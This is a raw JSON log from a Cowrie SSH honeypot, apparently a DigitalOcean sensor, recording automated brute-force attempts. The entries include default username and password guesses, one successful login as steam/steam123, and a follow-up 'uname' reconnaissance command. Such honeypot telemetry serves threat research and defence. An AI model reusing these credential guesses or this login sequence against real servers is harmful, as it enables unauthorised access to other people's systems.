{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:18.857387Z","src_ip":"87.251.79.125","session":"940a5f883d08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:19.952701Z","src_ip":"83.168.110.85","session":"79fa96dad50e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":44710,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6d0bdfcf00e","protocol":"ssh","message":"New connection: 83.168.110.85:44710 (159.203.135.109:22) [session: a6d0bdfcf00e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:28.547099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:28.551464Z","src_ip":"83.168.110.85","session":"a6d0bdfcf00e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:28.673107Z","src_ip":"83.168.110.85","session":"a6d0bdfcf00e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456A","message":"login attempt [root/a123456A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:29.036740Z","src_ip":"83.168.110.85","session":"a6d0bdfcf00e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:30.233960Z","src_ip":"83.168.110.85","session":"a6d0bdfcf00e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":39868,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e9b61491cc1","protocol":"ssh","message":"New connection: 83.168.110.85:39868 (159.203.135.109:22) [session: 4e9b61491cc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:38.998461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:39.005459Z","src_ip":"83.168.110.85","session":"4e9b61491cc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:39.130825Z","src_ip":"83.168.110.85","session":"4e9b61491cc1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam123","message":"login attempt [steam/steam123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:39.494043Z","src_ip":"83.168.110.85","session":"4e9b61491cc1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:39.785254Z","src_ip":"83.168.110.85","session":"4e9b61491cc1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:39.788872Z","src_ip":"83.168.110.85","session":"4e9b61491cc1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:39.914073Z","src_ip":"83.168.110.85","session":"4e9b61491cc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:39.918135Z","src_ip":"83.168.110.85","session":"4e9b61491cc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":50544,"dst_ip":"159.203.135.109","dst_port":22,"session":"15fe4be2f1f6","protocol":"ssh","message":"New connection: 83.168.110.85:50544 (159.203.135.109:22) [session: 15fe4be2f1f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:49.452196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:49.520391Z","src_ip":"83.168.110.85","session":"15fe4be2f1f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:49.605330Z","src_ip":"83.168.110.85","session":"15fe4be2f1f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak","message":"login attempt [teamspeak/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:50.046343Z","src_ip":"83.168.110.85","session":"15fe4be2f1f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:46:51.191837Z","src_ip":"83.168.110.85","session":"15fe4be2f1f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":48228,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf00dd157ef5","protocol":"ssh","message":"New connection: 83.168.110.85:48228 (159.203.135.109:22) [session: cf00dd157ef5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:00.157007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:00.211086Z","src_ip":"83.168.110.85","session":"cf00dd157ef5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:00.279875Z","src_ip":"83.168.110.85","session":"cf00dd157ef5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"customer","password":"customer","message":"login attempt [customer/customer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:00.753457Z","src_ip":"83.168.110.85","session":"cf00dd157ef5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:01.993029Z","src_ip":"83.168.110.85","session":"cf00dd157ef5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":41722,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc2ab650e751","protocol":"ssh","message":"New connection: 160.251.185.39:41722 (159.203.135.109:22) [session: fc2ab650e751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:09.376926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:09.381917Z","src_ip":"160.251.185.39","session":"fc2ab650e751","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:09.554090Z","src_ip":"160.251.185.39","session":"fc2ab650e751","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234ABCD","message":"login attempt [root/1234ABCD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:10.322557Z","src_ip":"160.251.185.39","session":"fc2ab650e751","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":57720,"dst_ip":"159.203.135.109","dst_port":22,"session":"410f1567a2fb","protocol":"ssh","message":"New connection: 83.168.110.85:57720 (159.203.135.109:22) [session: 410f1567a2fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:10.860108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:10.867730Z","src_ip":"83.168.110.85","session":"410f1567a2fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:10.989100Z","src_ip":"83.168.110.85","session":"410f1567a2fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:11.353906Z","src_ip":"83.168.110.85","session":"410f1567a2fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:11.497666Z","src_ip":"160.251.185.39","session":"fc2ab650e751","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":39458,"dst_ip":"10.17.0.5","dst_port":22,"session":"73c7c208a9f9","protocol":"ssh","message":"New connection: 193.228.128.84:39458 (10.17.0.5:22) [session: 73c7c208a9f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:12.187536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:12.192345Z","src_ip":"193.228.128.84","session":"73c7c208a9f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:12.294600Z","src_ip":"193.228.128.84","session":"73c7c208a9f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:12.516109Z","src_ip":"83.168.110.85","session":"410f1567a2fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tamara","message":"login attempt [root/tamara] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:12.602788Z","src_ip":"193.228.128.84","session":"73c7c208a9f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:13.707496Z","src_ip":"193.228.128.84","session":"73c7c208a9f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":43436,"dst_ip":"159.203.135.109","dst_port":22,"session":"cabcca6cff46","protocol":"ssh","message":"New connection: 103.118.29.129:43436 (159.203.135.109:22) [session: cabcca6cff46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:17.718332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:17.723152Z","src_ip":"103.118.29.129","session":"cabcca6cff46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:17.960986Z","src_ip":"103.118.29.129","session":"cabcca6cff46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":28356,"dst_ip":"10.17.0.5","dst_port":22,"session":"9254011beb92","protocol":"ssh","message":"New connection: 87.251.64.176:28356 (10.17.0.5:22) [session: 9254011beb92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:47:18.936051Z"}
